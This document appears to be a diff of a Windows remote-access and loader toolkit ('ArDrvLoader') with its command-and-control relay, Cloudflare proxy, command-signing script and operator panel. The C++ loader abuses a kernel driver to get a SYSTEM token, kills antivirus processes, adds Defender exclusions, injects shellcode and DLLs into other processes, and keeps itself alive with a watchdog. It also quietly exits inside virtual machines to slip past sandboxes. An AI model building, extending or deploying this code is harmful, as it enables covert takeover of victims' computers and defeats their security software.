if (-not $text.Trim())
{
Send-Text $res "empty" 400
continue
}
$id = [guid]::NewGuid().ToString()
$null = $state.commands.Add([pscustomobject]@{
id = $id; agent = $agent; text = $text; state = "queued";
created = $nowTs; sent = 0; finished = 0; operator = "agent"; result = ""
})
Send-Json $res @{ ok = $true; id = $id }
continue
}
if ($path -eq "/status")
{ $last = ""
$done = @($state.commands | Where-Object { $_.agent -eq $agent -and $_.state -eq "done" } | Sort-Object finished -Descending | Select-Object -First 1)
if ($done.Count -gt 0)
{
$last = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([string]$done[0].result))
}
Send-Json $res @{ ok = $true; agent = $agent; last = $last }
continue
}
Send-Text $res "ok"
}
catch
{
try { Send-Json $res @{ ok = $false; error = $_.Exception.Message } 500 } catch { }
}
}
}
finally
{
$listener.Stop()
$listener.Close()
}
+62
View File
@@ -0,0 +1,62 @@
// Thin relay: this Worker owns no state.
//
// It forwards every request to the relay server and streams the answer back, so
// the panel, the database and the agent API all live on your own host. Nothing
// is stored in Cloudflare except what the platform keeps in transit.
//
// Bindings:
// var SERVER_URL https://your-server.example
// secret PROXY_SECRET optional shared header the server can require
export default {
async fetch(request, env)
{
const base = (env.SERVER_URL || "").replace(/\/$/, "");
if (!base)
return new Response("SERVER_URL is not configured", { status: 500 });
const url = new URL(request.url);
const target = base + url.pathname + url.search;
const headers = new Headers(request.headers);
// Do not leak Cloudflare internals to the origin.
headers.delete("cf-connecting-ip");
headers.delete("cf-ray");
headers.delete("cf-visitor");
headers.delete("x-forwarded-proto");
if (env.PROXY_SECRET)
headers.set("X-Proxy-Secret", env.PROXY_SECRET);
const init = {
method: request.method,
headers,
redirect: "manual"
};
if (request.method !== "GET" && request.method !== "HEAD")
init.body = request.body;
let upstream;
try
{
upstream = await fetch(target, init);
}
catch (err)
{
return new Response("relay unreachable: " + (err && err.message ? err.message : err), { status: 502 });
}
const response = new Response(upstream.body, {
status: upstream.status,
statusText: upstream.statusText,
headers: upstream.headers
});
response.headers.set("Cache-Control", "no-store");
return response;
}
};
+19
View File
@@ -0,0 +1,19 @@
name = "ardrv-relay"
main = "worker.js"
compatibility_date = "2024-11-01"
# The Worker is only a proxy. All state, auth and the panel live on the relay
# server; configure its address in the dashboard or here.
#
# vars SERVER_URL https://relay.example.com
# secret PROXY_SECRET optional shared header checked by the server
#
# For local development put both in .dev.vars:
# SERVER_URL=http://127.0.0.1:8790
# PROXY_SECRET=proxys3cret
[vars]
SERVER_URL = "http://127.0.0.1:8790"
[observability]
enabled = false
+8
View File
@@ -0,0 +1,8 @@
#include <windows.h>
#include "resource.h"
// The driver image is optional. If ardrv.sys is not next to the project at
// build time, HAVE_DRIVER_IMAGE is not defined and no resource is emitted.
#ifdef HAVE_DRIVER_IMAGE
IDR_ARDRV_SYS RCDATA "ardrv.sys"
#endif
+823
View File
@@ -0,0 +1,823 @@
#include "Common.h"
#include "Logger.h"
#include "CloudAgent.h"
#include "GuardService.h"
#include "VmDetect.h"
#include "KillSafety.h"
#include "HostSpawn.h"
#include "HostStager.h"
#include "StageClient.h"
#include "Exclusions.h"
#include <shellapi.h>
#pragma comment(lib, "shell32.lib")
#include "DriverClient.h"
#include "TokenUtils.h"
#include "ProcessUtils.h"
#include "ShellcodeUtils.h"
#include "AvKill.h"
#include "ServiceManager.h"
static int RunLoader(int argc, LPWSTR* argv)
{
HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Local\\ArDrvLoaderMutex");
bool ownsMutex = false;
if (mutex)
{
DWORD waitRes = WaitForSingleObject(mutex, 15000);
ownsMutex = (waitRes == WAIT_OBJECT_0 || waitRes == WAIT_ABANDONED);
if (!ownsMutex)
{
Log(L"[-] Another loader instance is already running");
CloseHandle(mutex);
return 12;
}
}
Log(L"=== Loader start ===");
HANDLE driverToken = nullptr;
HANDLE systemToken = nullptr;
int ret = 0;
if (argc >= 4 && _wcsicmp(argv[1], L"-install-service") == 0)
{
bool ok = EnsureWin32Service(argv[2], argv[3], true);
ret = ok ? 0 : 4;
goto cleanup;
}
if (!EnsureDriverLoaded())
{
ret = 2;
goto cleanup;
}
if (!EscalateViaDriver(&driverToken))
{
Log(L"[!] EscalateViaDriver failed or did not provide a SYSTEM token handle");
}
systemToken = GetSystemToken(driverToken);
if (!systemToken)
{
ret = 3;
goto cleanup;
}
if (argc >= 5 && _wcsicmp(argv[1], L"-i") == 0 && _wcsicmp(argv[3], L"-s") == 0)
{
DWORD pid = (DWORD)wcstoul(argv[2], nullptr, 10);
std::vector<BYTE> shell;
if (!ReadFileToMemory(argv[4], shell))
{
ret = 5;
}
else
{
bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size());
ret = ok ? 0 : 6;
}
}
else if (argc >= 5 && _wcsicmp(argv[1], L"-n") == 0 && _wcsicmp(argv[3], L"-s") == 0)
{
const wchar_t* target = argv[2];
std::vector<BYTE> shell;
if (!ReadFileToMemory(argv[4], shell))
{
ret = 5;
}
else
{
NewProcInfo info{};
if (!CreateProcessSuspendedAsSystem(systemToken, target, nullptr, false, &info))
{
ret = 7;
}
else
{
bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size());
ret = ok ? 0 : 8;
}
}
}
else if (argc >= 3 && _wcsicmp(argv[1], L"-p") == 0)
{
const wchar_t* payload = argv[2];
const wchar_t* args = (argc >= 4 ? argv[3] : nullptr);
bool ok = StartProcessAsSystem(systemToken, payload, args, false);
ret = ok ? 0 : 9;
}
else if (argc >= 3 && _wcsicmp(argv[1], L"-watchdog") == 0)
{
const wchar_t* target = argv[2];
DWORD intervalMs = 5000;
DWORD iterations = 0;
if (argc >= 4)
intervalMs = (DWORD)wcstoul(argv[3], nullptr, 10);
if (argc >= 5)
iterations = (DWORD)wcstoul(argv[4], nullptr, 10);
DWORD done = 0;
while (true)
{
if (!ProcessExistsByName(target))
{
Log(L"[+] Watchdog: target not running, starting");
if (!StartProcessAsSystem(systemToken, target, nullptr, false))
Log(L"[-] Watchdog: failed to start target");
}
if (iterations != 0 && ++done >= iterations)
break;
Sleep(intervalMs);
}
ret = 0;
}
else
{
KillAVProcesses();
const wchar_t* testExe = L"C:\\Windows\\System32\\cmd.exe";
const wchar_t* testArgs =
L"/c (whoami & echo Loader OK) > C:\\Users\\Public\\loader_test.txt 2>&1";
bool ok = StartProcessAsSystem(systemToken, testExe, testArgs, false);
ret = ok ? 0 : 11;
}
cleanup:
if (systemToken)
CloseHandle(systemToken);
if (driverToken)
CloseHandle(driverToken);
if (ownsMutex && mutex)
ReleaseMutex(mutex);
if (mutex)
CloseHandle(mutex);
CloseDriver();
Log(L"=== Loader end ret=%d ===", ret);
return ret;
}
// Virtual machine gate. Every mode except an explicit override refuses to run
// inside a hypervisor guest. Exit code 0 and no log output, so a sandbox sees a
// process that starts and quietly terminates.
static int VmGate(int argc, wchar_t** argv)
{
if (VmOverrideRequested(argc, argv))
return -1;
std::wstring reason;
if (!IsVirtualMachine(&reason))
return -1;
wchar_t debug[8]{};
DWORD n = GetEnvironmentVariableW(L"ARDRV_VM_DEBUG", debug, _countof(debug));
if (n > 0 && (debug[0] == L'1' || debug[0] == L'y' || debug[0] == L'Y'))
wprintf(L"[vm] refusing to run: %s\n", reason.c_str());
return 0;
}
static bool IsProcessElevated()
{
HANDLE token = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
return false;
TOKEN_ELEVATION elevation{};
DWORD len = sizeof(elevation);
bool elevated =
GetTokenInformation(token, TokenElevation, &elevation, len, &len) != FALSE &&
elevation.TokenIsElevated != 0;
CloseHandle(token);
return elevated;
}
static bool HasCommandArg(int argc, wchar_t** argv, const wchar_t* name)
{
for (int i = 1; i < argc; ++i)
{
if (argv[i] && _wcsicmp(argv[i], name) == 0)
return true;
}
return false;
}
// Relaunches the same command line under UAC. Returns true when the elevated
// copy was started; the caller should then exit.
static bool RelaunchElevated(int argc, wchar_t** argv)
{
wchar_t exe[MAX_PATH]{};
DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe));
if (len == 0 || len >= _countof(exe))
return false;
std::wstring params;
// Double-click: the elevated copy must still know it is the bootstrap. The
// appended --elevated flag would otherwise look like a normal command line.
if (argc < 2)
params = L"-bootstrap";
for (int i = 1; i < argc; ++i)
{
std::wstring a = argv[i];
if (!params.empty())
params += L" ";
if (a.find(L' ') != std::wstring::npos && (a.empty() || a.front() != L'"'))
params += L"\"" + a + L"\"";
else
params += a;
}
params += L" --elevated";
HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_SHOWNORMAL);
if ((INT_PTR)h <= 32)
{
wprintf(L"[!] elevation declined or failed (%d)\n", (int)(INT_PTR)h);
return false;
}
return true;
}
// Commands that need administrator rights. Anything else runs as-is; after the
// first elevated install the services do all privileged work.
static bool NeedsElevation(int argc, wchar_t** argv)
{
// Double-click with no arguments runs the bootstrap, which needs admin.
if (argc < 2)
return true;
const bool dryRun = HasCommandArg(argc, argv, L"--dry-run");
if (_wcsicmp(argv[1], L"-install-guard-services") == 0 ||
_wcsicmp(argv[1], L"--install-guard-services") == 0 ||
_wcsicmp(argv[1], L"-bootstrap") == 0 ||
_wcsicmp(argv[1], L"--bootstrap") == 0)
{
return !dryRun;
}
if (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0)
return !dryRun;
if (_wcsicmp(argv[1], L"-drv") == 0 && argc >= 3)
{
return _wcsicmp(argv[2], L"extract") == 0 ||
_wcsicmp(argv[2], L"reset") == 0 ||
_wcsicmp(argv[2], L"kill") == 0;
}
if (_wcsicmp(argv[1], L"-excl") == 0 && argc >= 3)
{
return _wcsicmp(argv[2], L"add") == 0 || _wcsicmp(argv[2], L"apply") == 0;
}
return false;
}
int wmain(int argc, LPWSTR* argv)
{
// Elevation first: a double-click must always show the UAC prompt, even on a
// host the VM gate would later refuse.
if (NeedsElevation(argc, argv) &&
!IsProcessElevated() &&
!HasCommandArg(argc, argv, L"--elevated"))
{
// One UAC, first run. After this the services hold the privileges.
if (!RelaunchElevated(argc, argv))
return 1;
return 0;
}
int vm = VmGate(argc, argv);
if (vm >= 0)
return vm;
if (argc >= 2 && _wcsicmp(argv[1], L"-enroll") == 0)
return RunEnroll(argc, argv);
if (argc >= 2 && _wcsicmp(argv[1], L"-excl") == 0)
{
if (argc < 3)
{
wprintf(L"Usage: ArDrvLoader.exe -excl list|add <path>|apply\n");
return 1;
}
if (_wcsicmp(argv[2], L"list") == 0)
{
std::wstring note;
std::vector<std::wstring> current = QueryExclusions(note);
wprintf(L"defender=%s current=%s\n", DefenderPresent() ? L"present" : L"absent", note.c_str());
wprintf(L"%s\n", FormatExclusionList(current).c_str());
return 0;
}
if (_wcsicmp(argv[2], L"add") == 0 && argc >= 4)
{
std::vector<std::wstring> paths = LoadExclusionList();
paths.push_back(argv[3]);
bool saved = SaveExclusionList(paths);
std::wstring report;
bool applied = ApplyExclusions(paths, report);
wprintf(L"%s%s\n%s\n",
saved ? L"saved" : L"save-failed",
applied ? L" applied" : L" refused",
report.c_str());
return applied ? 0 : 1;
}
if (_wcsicmp(argv[2], L"apply") == 0)
{
std::vector<std::wstring> paths = LoadExclusionList();
if (paths.empty())
{
paths = DefaultExclusionPaths();
SaveExclusionList(paths);
}
std::wstring report;
bool applied = ApplyExclusions(paths, report);
wprintf(L"%s\n%s\n", applied ? L"applied" : L"refused", report.c_str());
return applied ? 0 : 1;
}
wprintf(L"Usage: ArDrvLoader.exe -excl list|add <path>|apply\n");
return 1;
}
if (argc >= 2 && _wcsicmp(argv[1], L"-drv") == 0)
{
if (argc < 3)
{
wprintf(L"Usage: ArDrvLoader.exe -drv status|extract <path>|kill <pid>\n");
return 1;
}
if (_wcsicmp(argv[2], L"status") == 0)
{
bool open = OpenDriver();
CloseDriver();
DWORD fails = 0;
DWORD failMax = 3;
std::wstring state = L"unset";
HKEY h = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS)
{
DWORD type = 0;
DWORD size = sizeof(fails);
DWORD v = 0;
if (RegQueryValueExW(h, L"DriverFailCount", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD)
fails = v;
size = sizeof(failMax);
v = 0;
if (RegQueryValueExW(h, L"DriverFailMax", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD)
failMax = v;
wchar_t buf[64]{};
size = sizeof(buf);
if (RegQueryValueExW(h, L"DriverState", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && type == REG_SZ)
state = buf;
RegCloseKey(h);
}
wprintf(L"device=%s embedded=%lu bytes fail=%lu/%lu state=%s\n",
open ? L"ok" : L"unavailable",
EmbeddedDriverSize(),
fails,
failMax,
state.c_str());
return open ? 0 : 1;
}
if (_wcsicmp(argv[2], L"reset") == 0)
{
HKEY h = nullptr;
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr)
!= ERROR_SUCCESS)
{
wprintf(L"ERR registry write denied\n");
return 1;
}
DWORD zero = 0;
RegSetValueExW(h, L"DriverFailCount", 0, REG_DWORD, (const BYTE*)&zero, sizeof(zero));
const wchar_t* state = L"reset";
RegSetValueExW(h, L"DriverState", 0, REG_SZ, (const BYTE*)state,
(DWORD)((wcslen(state) + 1) * sizeof(wchar_t)));
RegCloseKey(h);
wprintf(L"OK counters cleared\n");
return 0;
}
if (_wcsicmp(argv[2], L"extract") == 0 && argc >= 4)
{
bool ok = WriteEmbeddedDriverTo(argv[3]);
wprintf(L"%s %s\n", ok ? L"OK" : L"ERR", argv[3]);
return ok ? 0 : 1;
}
if (_wcsicmp(argv[2], L"kill") == 0 && argc >= 4)
{
DWORD pid = (DWORD)wcstoul(argv[3], nullptr, 10);
if (!OpenDriver())
{
wprintf(L"ERR driver device unavailable\n");
return 1;
}
bool ok = TerminateProcessViaDriver(pid);
CloseDriver();
wprintf(L"%s pid=%lu\n", ok ? L"OK" : L"ERR", pid);
return ok ? 0 : 1;
}
wprintf(L"Usage: ArDrvLoader.exe -drv status|extract <path>|kill <pid>\n");
return 1;
}
if (argc >= 2 &&
(_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0))
{
bool dryRun = false;
bool force = false;
std::vector<std::wstring> names;
for (int i = 2; i < argc; ++i)
{
if (_wcsicmp(argv[i], L"--dry-run") == 0)
dryRun = true;
if (_wcsicmp(argv[i], L"--force") == 0)
force = true;
if (_wcsicmp(argv[i], L"--name") == 0 && i + 1 < argc)
names.emplace_back(argv[++i]);
}
std::wstring summary;
if (names.empty())
{
if (!dryRun)
EnsureDriverLoaded();
KillAVProcessesEx(dryRun, summary);
}
else
{
KillReport report;
KillProcessesSafe(names, dryRun, 16, report, force);
summary = report.Format();
}
wprintf(L"%s\n", summary.c_str());
return 0;
}
if (argc >= 2 && _wcsicmp(argv[1], L"-stage") == 0)
{
if (argc < 3)
{
wprintf(L"Usage: ArDrvLoader.exe -stage status|inject|run|stop [args]\n");
return 1;
}
if (_wcsicmp(argv[2], L"status") == 0)
{
wprintf(L"%s\n", FormatStageStatus().c_str());
return 0;
}
if (_wcsicmp(argv[2], L"inject") == 0)
{
std::wstring preferred;
std::wstring dll;
bool requireSystem = true;
for (int i = 3; i < argc; ++i)
{
if (_wcsicmp(argv[i], L"--any-host") == 0)
requireSystem = false;
else if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc)
preferred = argv[++i];
else if (argv[i][0] != L'-' && dll.empty())
dll = argv[i];
}
HostInjectResult r = StageInject(dll, preferred, requireSystem);
wprintf(L"%s\n", FormatInjectResult(r).c_str());
if (r.ok && StageAlive())
wprintf(L"stage: %s\n", FormatStageStatus().c_str());
return r.ok ? 0 : 1;
}
if (_wcsicmp(argv[2], L"whoami") == 0)
{
std::wstring response;
if (!StageSend(L"WHOAMI", response))
{
wprintf(L"ERR stage not reachable\n");
return 1;
}
wprintf(L"%s\n", response.c_str());
return 0;
}
if (_wcsicmp(argv[2], L"run") == 0)
{
if (argc < 4)
{
wprintf(L"Usage: ArDrvLoader.exe -stage run <command line>\n");
return 1;
}
std::wstring cmd;
for (int i = 3; i < argc; ++i)
{
if (!cmd.empty())
cmd += L" ";
cmd += argv[i];
}
std::wstring response;
if (!StageSend(L"RUN " + cmd, response))
{
wprintf(L"ERR stage not reachable\n");
return 1;
}
wprintf(L"%s\n", response.c_str());
return 0;
}
if (_wcsicmp(argv[2], L"stop") == 0)
{
std::wstring response;
if (!StageSend(L"STOP", response))
{
wprintf(L"ERR stage not reachable\n");
return 1;
}
wprintf(L"%s\n", response.c_str());
return 0;
}
wprintf(L"Unknown -stage subcommand\n");
return 1;
}
if (argc >= 3 && _wcsicmp(argv[1], L"-host") == 0)
{
if (_wcsicmp(argv[2], L"track") == 0)
{
wprintf(L"%s\n", FormatHostTrack(LoadHostTrack()).c_str());
return 0;
}
if (_wcsicmp(argv[2], L"untrack") == 0)
{
wprintf(L"%s\n", ClearHostTrack() ? L"cleared" : L"nothing to clear");
return 0;
}
if (_wcsicmp(argv[2], L"ensure") == 0 || _wcsicmp(argv[2], L"inject") == 0)
{
const bool ensureMode = (_wcsicmp(argv[2], L"ensure") == 0);
std::wstring path;
std::wstring preferred;
bool requireSystem = true;
bool expectHostValue = false;
for (int k = 3; k < argc; ++k)
{
if (expectHostValue)
{
preferred = argv[k];
expectHostValue = false;
continue;
}
if (_wcsicmp(argv[k], L"--any-host") == 0)
{
requireSystem = false;
continue;
}
if (_wcsicmp(argv[k], L"--host") == 0 && k + 1 < argc)
{
expectHostValue = true;
continue;
}
if (argv[k][0] != L'-' && path.empty())
path = argv[k];
}
if (!ensureMode && path.empty())
{
wprintf(L"Usage: ArDrvLoader.exe -host inject <shellcode-path> [--host <image>] [--any-host]\n");
return 1;
}
HostInjectResult r = ensureMode
? EnsureHostInjected(requireSystem)
: InjectShellcodeIntoHost(path, preferred, requireSystem);
wprintf(L"%s\n", FormatInjectResult(r).c_str());
return r.ok ? 0 : 1;
}
if (_wcsicmp(argv[2], L"list") == 0)
{
bool any = false;
for (int i = 3; i < argc; ++i)
{
if (_wcsicmp(argv[i], L"--any") == 0)
any = true;
}
wprintf(L"%s\n", FormatHostList(EnumerateHosts(!any)).c_str());
return 0;
}
if (_wcsicmp(argv[2], L"spawn") == 0 || _wcsicmp(argv[2], L"spawn-user") == 0)
{
if (argc < 4)
{
wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host <image>] <exe> [args]\n");
return 1;
}
const bool userSession = (_wcsicmp(argv[2], L"spawn-user") == 0);
int i = 3;
std::wstring preferred;
bool requireSystem = true;
for (int k = 3; k < argc; ++k)
{
if (_wcsicmp(argv[k], L"--any-host") == 0)
requireSystem = false;
}
if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc)
{
preferred = argv[i + 1];
i += 2;
}
while (i < argc && argv[i][0] == L'-')
++i;
if (i >= argc)
{
wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host <image>] <exe> [args]\n");
return 1;
}
std::wstring exe = argv[i++];
std::wstring args;
for (; i < argc; ++i)
{
if (!args.empty())
args += L" ";
args += argv[i];
}
std::wstring cmd = exe;
if (cmd.find(L' ') != std::wstring::npos && cmd.front() != L'"')
cmd = L"\"" + cmd + L"\"";
if (!args.empty())
{
cmd += L" ";
cmd += args;
}
SpawnResult r = SpawnThroughHost(cmd, preferred, userSession, requireSystem);
wprintf(L"%s\n", FormatSpawnResult(r).c_str());
return r.ok ? 0 : 1;
}
wprintf(L"Usage: ArDrvLoader.exe -host list | spawn [--host <image>] <exe> [args] | spawn-user ...\n");
return 1;
}
// Double-click with no arguments: bootstrap using build-time defaults.
if (argc < 2)
return RunBootstrap(argc, argv);
if (argc >= 2 &&
(_wcsicmp(argv[1], L"-install-guard-services") == 0 ||
_wcsicmp(argv[1], L"--install-guard-services") == 0))
{
return InstallGuardServices(argc, argv);
}
if (argc >= 2 &&
(_wcsicmp(argv[1], L"-bootstrap") == 0 ||
_wcsicmp(argv[1], L"--bootstrap") == 0))
{
return RunBootstrap(argc, argv);
}
if (argc >= 3 &&
(_wcsicmp(argv[1], L"-service") == 0 || _wcsicmp(argv[1], L"--service") == 0))
{
return RunGuardService(argc, argv);
}
if (argc >= 2 &&
(_wcsicmp(argv[1], L"-cloud-service") == 0 || _wcsicmp(argv[1], L"--cloud-service") == 0))
{
return RunCloudService(argc, argv);
}
if (argc >= 2 &&
(_wcsicmp(argv[1], L"-cloud") == 0 || _wcsicmp(argv[1], L"--cloud") == 0))
{
return RunCloudAgent(argc, argv);
}
return RunLoader(argc, argv);
}
+9
View File
@@ -0,0 +1,9 @@
#pragma once
// Embedded driver image (ardrv.sys) packed as an RCDATA resource.
// Only compiled in when ardrv.sys sits next to the project at build time.
#define IDR_ARDRV_SYS 101
// Embedded stage payload (ardrvstage.dll). Only compiled in when the DLL was
// built and copied next to the project first - see build.ps1.
#define IDR_STAGE_DLL 102
+67
View File
@@ -0,0 +1,67 @@
param(
[Parameter(Mandatory = $true)]
[string]$Worker,
[Parameter(Mandatory = $true)]
[string]$Agent,
[Parameter(Mandatory = $true)]
[string]$Secret,
[Parameter(Mandatory = $true)]
[string]$Command
)
# Signs requests exactly like the agent does:
# hex(HMAC-SHA256(secret, agent \n ts \n METHOD \n path+query \n sha256hex(body)))
# No secret is ever placed in a URL.
$ErrorActionPreference = "Stop"
$base = $Worker.TrimEnd('/')
$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($Command)
function Get-Sha256Hex([byte[]]$Bytes)
{
$sha = [System.Security.Cryptography.SHA256]::Create()
try
{
$stream = New-Object System.IO.MemoryStream(, $Bytes)
return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower()
}
finally { $sha.Dispose() }
}
function Get-HmacHex([string]$Key, [string]$Message)
{
$hmac = New-Object System.Security.Cryptography.HMACSHA256
try
{
$hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key)
$hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message))
return ([BitConverter]::ToString($hash) -replace "-", "").ToLower()
}
finally { $hmac.Dispose() }
}
$ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()
$canonical = "$Agent`n$ts`nPOST`nenqueue`n$(Get-Sha256Hex $bodyBytes)"
$sign = Get-HmacHex $Secret $canonical
$headers = @{
"X-Agent-Id" = $Agent
"X-Agent-Ts" = $ts
"X-Agent-Sign" = $sign
}
$response = Invoke-WebRequest `
-Method Post `
-Uri "$base/enqueue" `
-Body $bodyBytes `
-ContentType "application/octet-stream" `
-Headers $headers `
-UseBasicParsing
$response.Content
+21
View File
@@ -0,0 +1,21 @@
# Relay server environment (node server/server.js).
# Copy to server/.env or set these in your process manager.
PORT=8790
DATA_DIR=./data
PANEL_PATH=../cloudflare/panel.html
# Master key. Agent keys are derived from it; it is never sent to agents.
AGENT_SECRET=testsecret
# Panel / operator API key.
OPERATOR_KEY=testop
# One-time enrollment token handed out by the operator.
ENROLL_SECRET=testenroll
# Accept the shared master key during migration. Off by default.
LEGACY_MASTER_AUTH=false
# When set, the Worker must send X-Proxy-Secret with every request.
PROXY_SECRET=proxys3cret
+924
View File
@@ -0,0 +1,924 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>agent control</title>
<style>
:root {
--bg:#0a0d12; --panel:#10161f; --panel2:#141c27; --line:#1d2632; --line2:#25313f;
--fg:#dbe4ef; --dim:#75879c; --faint:#4b5b6d;
--ok:#3ddc97; --warn:#f2b544; --err:#ff6b6b; --accent:#5aa9ff; --accent2:#1d4f80;
--radius:10px;
}
* { box-sizing:border-box; }
html, body { height:100%; }
body {
margin:0; background:var(--bg); color:var(--fg);
font:13px/1.5 "Segoe UI Variable Text","Segoe UI",system-ui,sans-serif;
overflow:hidden;
}
code, pre, .mono { font-family:"Cascadia Mono",Consolas,"SF Mono",monospace; }
button { font:inherit; color:var(--fg); background:var(--panel2); border:1px solid var(--line2);
border-radius:8px; padding:6px 12px; cursor:pointer; transition:border-color .12s, background .12s; }
button:hover { border-color:var(--accent); background:#182436; }
button.primary { background:linear-gradient(180deg,#1d5f92,#174a71); border-color:#2b7fbe; font-weight:600; }
button.primary:hover { background:linear-gradient(180deg,#2470ab,#1a5581); }
button.ghost { background:transparent; border-color:transparent; color:var(--dim); }
button.ghost:hover { color:var(--fg); border-color:var(--line2); background:transparent; }
button:disabled { opacity:.45; cursor:default; }
input, textarea {
font:inherit; color:var(--fg); background:#0c1219; border:1px solid var(--line2);
border-radius:8px; padding:8px 10px; width:100%;
}
input:focus, textarea:focus { outline:none; border-color:var(--accent); box-shadow:0 0 0 3px rgba(90,169,255,.12); }
::placeholder { color:var(--faint); }
/* ---------- shell ---------- */
#app { display:grid; grid-template-rows:auto 1fr; height:100vh; }
header {
display:flex; align-items:center; gap:14px; padding:10px 18px;
background:var(--panel); border-bottom:1px solid var(--line);
}
.brand { font-weight:700; letter-spacing:.16em; font-size:12px; color:var(--dim); text-transform:uppercase; }
.brand b { color:var(--fg); }
.pill { display:inline-flex; align-items:center; gap:6px; padding:3px 10px; border-radius:999px;
border:1px solid var(--line2); background:#0d141d; color:var(--dim); font-size:11px; }
.pill .dot { width:7px; height:7px; border-radius:50%; background:var(--faint); }
.pill.live .dot { background:var(--ok); box-shadow:0 0 8px var(--ok); }
.pill.live { color:var(--ok); border-color:#1f4a38; }
.grow { flex:1; }
#main { display:grid; grid-template-columns:320px 1fr; min-height:0; }
/* ---------- sidebar ---------- */
#side { border-right:1px solid var(--line); display:flex; flex-direction:column; min-height:0; background:var(--panel); }
#sideHead { padding:12px; border-bottom:1px solid var(--line); display:flex; flex-direction:column; gap:8px; }
.search { position:relative; }
.search input { padding-left:30px; }
.search svg { position:absolute; left:9px; top:9px; width:14px; height:14px; stroke:var(--faint); }
#agentList { overflow:auto; flex:1; padding:8px; }
.agent {
display:grid; grid-template-columns:auto 1fr auto; gap:2px 10px; align-items:center;
padding:9px 10px; border:1px solid transparent; border-radius:var(--radius);
cursor:pointer; margin-bottom:4px;
}
.agent:hover { background:var(--panel2); }
.agent.sel { background:#132436; border-color:#274a6d; }
.agent.offline { opacity:.55; }
.agent .nm { font-weight:600; display:flex; align-items:center; gap:6px; min-width:0; }
.agent .nm span { overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
.agent .sub { grid-column:2 / span 2; color:var(--dim); font-size:11px;
overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
.dot { width:8px; height:8px; border-radius:50%; background:var(--faint); flex:0 0 auto; }
.dot.on { background:var(--ok); box-shadow:0 0 8px rgba(61,220,151,.6); }
#agentList .tag.revoked { color:var(--err); background:#2a1212; border-color:#5c2222; }
.tag { font-size:10px; letter-spacing:.06em; padding:1px 6px; border-radius:5px;
background:#3a2c10; color:var(--warn); border:1px solid #5a4418; text-transform:uppercase; }
.badge { font-size:10px; padding:1px 6px; border-radius:999px; background:#1b2836; color:var(--dim); }
/* ---------- content ---------- */
#content { display:flex; flex-direction:column; min-height:0; min-width:0; }
#agentHead { padding:14px 18px; border-bottom:1px solid var(--line); background:var(--panel); }
#agentHead .title { display:flex; align-items:center; gap:10px; flex-wrap:wrap; }
#agentHead h2 { margin:0; font-size:16px; font-weight:600; }
.meta { display:flex; gap:8px; flex-wrap:wrap; margin-top:8px; }
.meta .pill { font-family:inherit; }
.emptyHead { color:var(--dim); }
#composer { padding:12px 18px 6px; display:flex; flex-direction:column; gap:8px; }
#cmdRow { display:flex; gap:8px; align-items:stretch; }
#text { resize:vertical; min-height:42px; max-height:160px; height:42px; }
#sendBtn { align-self:stretch; padding:0 18px; }
#chips { display:flex; gap:6px; flex-wrap:wrap; }
#chips button { font-size:11px; padding:4px 9px; border-radius:999px; color:var(--dim); }
#chips button:hover { color:var(--fg); }
#chips button.danger { color:var(--err); border-color:#5c2222; background:#2a1212; }
#chips button.danger:hover { color:#fff; background:#3a1616; }
#cmdBar { display:flex; align-items:center; gap:10px; }
#moreCmds { font-size:11px; padding:3px 10px; border-radius:999px; color:var(--accent); }
#palette { display:none; flex-direction:column; gap:8px; border:1px solid var(--line);
border-radius:var(--radius); background:#0d131b; padding:10px; max-height:340px; overflow:auto; }
#palette.open { display:flex; }
.pgroup { display:flex; align-items:baseline; gap:6px; flex-wrap:wrap; }
.plabel { color:var(--faint); font-size:10px; text-transform:uppercase; letter-spacing:.1em;
width:78px; flex:0 0 auto; }
.pchip { font-size:11px; padding:3px 8px; border-radius:6px; color:var(--dim); background:#121a24; }
.pchip:hover { color:var(--fg); border-color:var(--accent); }
.pchip.danger { color:var(--err); border-color:#5c2222; background:#2a1212; }
.pchip.danger:hover { color:#fff; background:#3a1616; }
.hint { color:var(--faint); font-size:11px; }
#viewBar { display:flex; align-items:center; gap:6px; padding:10px 18px 0; }
.tab { background:transparent; border:1px solid transparent; border-radius:8px; color:var(--dim);
padding:5px 12px; font-size:12px; }
.tab:hover { color:var(--fg); background:var(--panel2); }
.tab.active { color:var(--fg); background:var(--panel2); border-color:var(--line2); }
#allView { display:none; flex:1; overflow:auto; padding:10px 18px 18px; }
#cmdTable { width:100%; min-width:980px; border-collapse:collapse; font-size:12px; table-layout:fixed; }
#cmdTable th:nth-child(1) { width:95px; }
#cmdTable th:nth-child(2) { width:110px; }
#cmdTable th:nth-child(3) { width:150px; }
#cmdTable th:nth-child(4) { width:80px; }
